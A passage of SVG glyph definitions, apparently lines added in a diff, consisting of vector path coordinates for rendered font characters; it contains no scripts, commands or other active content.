3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 8.734375 -0.546875 C 8.398438 -0.265625 7.972656 -0.0625 7.453125 0.0625 C 6.941406 0.1875 6.398438 0.25 5.828125 0.25 C 5.109375 0.25 4.441406 0.113281 3.828125 -0.15625 C 3.222656 -0.425781 2.703125 -0.859375 2.265625 -1.453125 C 1.828125 -2.046875 1.484375 -2.804688 1.234375 -3.734375 C 0.992188 -4.671875 0.875 -5.796875 0.875 -7.109375 C 0.875 -8.460938 1.007812 -9.609375 1.28125 -10.546875 C 1.5625 -11.484375 1.929688 -12.242188 2.390625 -12.828125 C 2.859375 -13.410156 3.394531 -13.828125 4 -14.078125 C 4.601562 -14.335938 5.222656 -14.46875 5.859375 -14.46875 C 6.503906 -14.46875 7.039062 -14.421875 7.46875 -14.328125 C 7.894531 -14.234375 8.265625 -14.117188 8.578125 -13.984375 L 8.21875 -12.609375 C 7.945312 -12.753906 7.625 -12.867188 7.25 -12.953125 C 6.882812 -13.035156 6.46875 -13.078125 6 -13.078125 C 5.519531 -13.078125 5.070312 -12.96875 4.65625 -12.75 C 4.238281 -12.539062 3.863281 -12.203125 3.53125 -11.734375 C 3.207031 -11.265625 2.953125 -10.648438 2.765625 -9.890625 C 2.578125 -9.140625 2.484375 -8.210938 2.484375 -7.109375 C 2.484375 -5.128906 2.820312 -3.640625 3.5 -2.640625 C 4.175781 -1.648438 5.078125 -1.15625 6.203125 -1.15625 C 6.660156 -1.15625 7.070312 -1.21875 7.4375 -1.34375 C 7.800781 -1.476562 8.113281 -1.632812 8.375 -1.8125 Z M 8.734375 -0.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 3.71875 -3.59375 L 4.140625 -1.625 L 4.25 -1.625 L 4.546875 -3.59375 L 6.09375 -10.15625 L 7.578125 -10.15625 L 5.15625 -1.03125 C 4.96875 -0.300781 4.78125 0.378906 4.59375 1.015625 C 4.40625 1.648438 4.195312 2.203125 3.96875 2.671875 C 3.75 3.140625 3.5 3.503906 3.21875 3.765625 C 2.945312 4.035156 2.617188 4.171875 2.234375 4.171875 C 1.859375 4.171875 1.523438 4.109375 1.234375 3.984375 L 1.484375 2.609375 C 1.671875 2.671875 1.859375 2.679688 2.046875 2.640625 C 2.242188 2.597656 2.425781 2.484375 2.59375 2.296875 C 2.757812 2.109375 2.910156 1.828125 3.046875 1.453125 C 3.191406 1.078125 3.320312 0.59375 3.4375 0 L 0.140625 -10.15625 L 1.8125 -10.15625 Z M 3.71875 -3.59375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 